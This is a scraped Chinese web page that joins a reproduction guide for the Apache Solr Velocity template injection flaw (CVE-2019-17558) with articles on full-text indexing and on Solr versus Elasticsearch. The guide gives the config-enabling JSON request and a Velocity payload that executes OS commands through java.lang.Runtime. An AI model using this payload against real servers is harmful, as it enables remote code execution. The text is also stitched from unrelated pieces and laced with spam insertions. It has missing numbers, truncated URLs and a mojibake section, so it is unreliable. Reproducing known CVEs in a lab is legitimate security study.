Apache Solr Velocity 注入远程命令执行漏洞 (CVE-2019-17558)
Apache Solr 是索引索引索引一个开源的企业级搜索服务器,其底层使用 Java 实现。建立Solr 提供了强大的源码全文检索、高亮显示检索结果、创建动态集群、索引索引索引数据库接口和对多种格式文件(如 Word、建立拉升资金主力资金关注源码PDF)的源码处理等特性,高度可扩展,创建支持分布搜索和索引复制。索引索引索引
在 Solr 的建立 5.0.0 至 8.3.1 版本中,存在输入验证错误的源码漏洞。攻击者可以利用此漏洞通过 Velocity 模板在目标系统上执行任意代码。创建
影响版本范围为:Apache Solr 5.0.0 到 8.3.1。索引索引索引
为了复现此漏洞,建立您可以按照以下步骤搭建环境:
1. 使用 vulhub 搭建环境,源码首先通过命令行执行:
git clone c github.com/vulhub/vulhub...
确保在具备 Docker 环境的虚拟机中进行,随后进入目录并执行 Docker 镜像拉取命令:
cd vulhub-master/solr/CVE--/
docker-compose up -d
完成 Docker 容器的启动后,通过浏览器访问您的litehttp源码 IP 地址加端口号 来访问服务。
在复现漏洞的步骤中,您需要执行以下操作:
1. 默认情况下,params.resource.loader.enabled 配置未打开,导致无法使用自定义模板。可以使用 API 获取所有核心(在 vulhub 中,核心通常为 demo):
your-ip:/solr/admin...
2. 通过修改配置启用 params.resource.loader.enabled,在访问/solr/demo/config 的 URL 时使用 Burp Suite 进行抓包,将请求方式改为 POST,并调整请求体为如下 JSON 格式:
{
"update-queryresponsewriter": {
"startup": "lazy",
"name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir": "",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"
}
}
3. 通过 Velocity 模板执行任意命令。示例命令为:
your-ip:/solr/demo/...($x=%%)+%set($rt=$x.class.forName(%java.lang.Runtime%))+%set($chr=$x.class.forName(%java.lang.Character%))+%set($str=$x.class.forName(%java.lang.String%))+%set($ex=$rt.getRuntime().exec(%id%))+$ex.waitFor()+%set($out=$ex.getInputStream())+%foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%end
4. 使用 Python 脚本进行漏洞利用。确保使用 Python3 执行脚本,并从 GitHub 下载脚本进行测试(脚本来源需自行搜索)。
为了防范此漏洞,建议升级 Apache Solr 到最新版本。
全文检索引擎Solr系列—–全文检索基本原理
小时候,我们使用新华字典查字的场景就像全文检索。开始时,WRText源码你需要从第页开始逐字查找“坑爹”,这是顺序扫描法,适合少量数据。但若要快速找到“坑”字的页码,就需要借助索引,它记录了每个字的位置,如“坑”在第页,查找效率大大提高。
索引的构建原理类似于新华字典的目录,它将每个字与对应的页码组织成有结构的数据,就像数据库中的表。全文检索的核心步骤包括索引创建和搜索。索引是反向的,记录关键字到文档的映射,使得搜索时无需遍历整个文档库,只需查找索引即可找到包含特定关键字的文档。
以Solr/Lucene为例,源码多大索引包含字段串列表和文档编号链表。如搜索“lucene”,索引会直接告知包含此词的文档编号。索引的创建涉及原始文档的分词、语言处理,形成词(Term)和对应的文档链。例如,文档“Students should be allowed…”会被分词和处理,形成索引,以便搜索时能识别和匹配“drive”的各种变形形式。
搜索过程则更为复杂,首先对查询进行分析和处理,然后在索引中搜索相关文档,根据文档与查询的相关性进行排序。评判相关性时,考虑词的权重,这是newz源码通过空间向量模型算法实现的,其中文档的词权重形成向量,查询语句也是向量,通过计算它们在N维空间中的相似度来确定结果的排名。
Solr与Elasticsearch:开源搜索引擎到底如何选择?
随着互联网行业的发展,搜索引擎已经成为众多内容平台的必备功能,尤其是在面对TB和PB级数据时,分布式全文检索成为关键。目前最热门的两款开源搜索引擎,Apache Solr和Elasticsearch,都基于Apache Lucene构建,功能相似,但具体选择应考虑部署、可伸缩性、查询语言等差异。下文将对Solr和Elasticsearch进行比较。
Solr作为开源搜索服务器,建立在Lucene之上,拥有广泛的用户社区和成熟的产品,支持分布式全文搜索、近实时索引、高可用性等。其长期主导搜索引擎领域,提供人脸识别、分组、过滤、语言检测等功能,满足普通文本索引和搜索需求。
Elasticsearch则年轻且更现代化,基于Lucene、ELK Stack构建,拥有分布式全文搜索、高可用性、强大的查询DSL、多租户、地理搜索等功能,易于安装配置,处理大索引和高查询率。在年左右,Elasticsearch凭借其年轻、现代性和实时搜索能力迅速获得关注。
在安装与配置方面,Solr和Elasticsearch底层都是Java实现,需要配置Java环境。Elasticsearch配置需要1GB的HEAP内存,而Solr默认至少需要MB。Elasticsearch配置文件以YML格式编写,Solr则使用基于XML的配置文件。Elasticsearch易于安装和配置,但整体比Solr更重。分布式部署下,Elasticsearch配置更简单。
索引和搜索方面,两者都基于lucene建索引,但Elasticsearch在本地DSL支持方面更优。Solr支持更多数据格式,而Elasticsearch仅支持json文件格式。两者均支持PB和TB级索引查询、分布式实现高可用,单节点支持文档索引查询效率高。近实时搜索能力是Lucene的基础,两者均实现,但Elasticsearch首先暴露NRT搜索,因而更受关注。查询速度方面,两者均支持分布式查询,对于高手而言,两者均可满足生产需求,但Solr在建索引时可能产生IO阻塞,查询性能下降,新手使用Elasticsearch可能更易上手。
扩展和分布式方面,Elasticsearch为分布式而生,提供更好的扩展和集群管理支持。SolrCloud基于Solr和Zookeeper实现分布式搜索,支持进一步拆分现有分片,但不支持分片缩小。在分片或节点故障时,Elasticsearch可自行进行群集重新平衡,而SolrCloud的重新平衡较为复杂。
社区和支持方面,Solr拥有广泛、成熟的社区和开发者,问题解决资源丰富。Elasticsearch虽不是完全开源,但社区活跃,由公司驱动,提供非开放高级功能。Solr社区更广泛,拥有更多文档和问题解决案例。
总体而言,Solr在信息检索领域提供强大功能,适用于复杂查询和大规模数据处理。Elasticsearch易于投入生产和扩展,适合快速部署。选择时应考虑特定用例和需求。
最后,欢迎关注公众号“药老算法(yaolaosuanfa)”,了解更多搜索、推荐等数据挖掘算法知识。
LuceneãElasticsearchãSolråºå«
Luceneï¼ä¸ä¸ªå¼æºçæç´¢åºEngineï¼å±è½ Lucene æä½ç»èçæ½è±¡å±
Httpï¼å¯¹å¤æä¾ restful apiï¼è®©ä¸åå¼åè¯è¨çåºç¨é½å¯ä»¥æ¥å ¥
Elasticsearchæ¯ç¨ Java å¼åçï¼ä½å®å´ä¸æ¯åªæ¯æJavaè¯è¨ï¼å 为å®æ¯æRESTfulæ¹å¼è°ç¨ï¼é£ç论ä¸å®æ¯æ¯æææå¼åè¯è¨ç
ç解â¶å 为索å¼å¯ä»¥å»æéå¤çè¯ï¼æ±è¯å¸¸ç¨çååè¯å¤§æ¦çäº åå ¸+è¯å ¸ï¼å¸¸ç¨çè±æå¨çæ´¥è¯å ¸ä¹ææ¶å½ï¼å¦æç¨è®¡ç®æºçé度æ¥è¯¢ åå ¸+è¯å ¸+çæ´¥è¯å ¸è¿äºå 容æ¯é常快çï¼ä½æ¯ç¨è¿äºåå ¸ãè¯å ¸ç»æçæç« å´æ¯ååä¸ä¸ä¸è®¡å ¶æ°ï¼
åæç´¢å¼ç大å°æå¤ä¹å°±æ¯ åå ¸+è¯å ¸ãæ以éè¿æ¥è¯¢ç´¢å¼ï¼åéè¿ç´¢å¼åææ¡£çå ³èå ³ç³»æ¾å°ææ¡£é度æ¯è¾å¿«ã
顺åºæ«ææ³åæ¯ç´æ¥å»é个æ¥è¯¢é£äºä¸è®¡å ¶æ°çæç« å°±ç®æ¯è®¡ç®çé度ä¹ä¼å¾æ ¢ã
主åçæ°
å³ blog ç´¢å¼çæ°æ®ï¼ä¼è¢«åæ£å° 3 个åçéé¢ï¼èµ·å°æ§å¶æ¯ä¸ªåçéææ¡£æ°é个æ°çä½ç¨ï¼æä¾æ¥è¯¢åæç´¢æçï¼å¯ä»¥ç解为 Mysql éçå表ã
å¯æ¬åç
å¯æ¬åçåªæ¯ä¸ä¸ªä¸»åççæ·è´ï¼ä½ä¸ºç¡¬ä»¶æ éæ¶ä¿æ¤æ°æ®ä¸ä¸¢å¤±çåä½å¤ä»½ï¼å¹¶ä¸ºæç´¢åè¿åææ¡£ç读æä½æä¾æå¡ã
å 为对äºåèç¹çæ¶ææ¥è¯´ï¼è¿è¡åä½å¤ä»½å°±æ¯«æ æä¹çï¼åªä¼æµªè´¹å ååç£çã
1ãSolr ï¼å¹´è¯çãESï¼å¹´è¯çãES æ´æ°ãåè½è¶å¼ºå¤§ã
2ãSolræä¸ä¸ªæ´å¤§ãæ´æççç¨æ·ãå¼ååè´¡ç®è 社åº
3ãå½å®æ¶å»ºç«ç´¢å¼çæ¶åï¼Solrä¼äº§çIOé»å¡ï¼èESåä¸ä¼ï¼å®æ¶å»ºç«ç´¢å¼æ¶ï¼ESæ§è½è¦é«äºSolr ã
å¨ä¸æå¨ææ·»å æ°æ®çæ¶åï¼solrçæ£ç´¢æçä¼åçä½ä¸ï¼èeså没æä»ä¹ååã
4ãSolrå©ç¨zookeeperè¿è¡åå¸å¼ç®¡çï¼èesèªèº«å¸¦æåå¸å¼ç³»ç»ç®¡çåè½ãSolrä¸è¬é½è¦é¨ç½²å°webæå¡å¨ä¸ï¼æ¯å¦tomcatãå¯å¨tomcatçæ¶åéè¦é ç½®tomcatä¸solrçå ³èããSolr çæ¬è´¨ æ¯ä¸ä¸ªå¨æweb项ç®ã
5ãSolræ¯ææ´å¤çæ ¼å¼æ°æ®[xml,json,csvç]ï¼èesä» æ¯æjsonæä»¶æ ¼å¼ã
6ãSolræ¯ä¼ ç»æç´¢åºç¨çæå解å³æ¹æ¡ï¼ä½æ¯esæ´éç¨äºæ°å ´çå®æ¶æç´¢åºç¨ãå纯ç对已ææ°æ®è¿è¡æ£ç´¢çæ¶åï¼solræçæ´å¥½ï¼é«äºesã
7ãSolrå®ç½æä¾çåè½æ´å¤ï¼èesæ¬èº«æ´æ³¨éäºæ ¸å¿åè½ï¼é«çº§åè½å¤ç±ç¬¬ä¸æ¹æ件ã
2024-12-22 22:32
2024-12-22 21:58
2024-12-22 21:58
2024-12-22 20:56
2024-12-22 20:31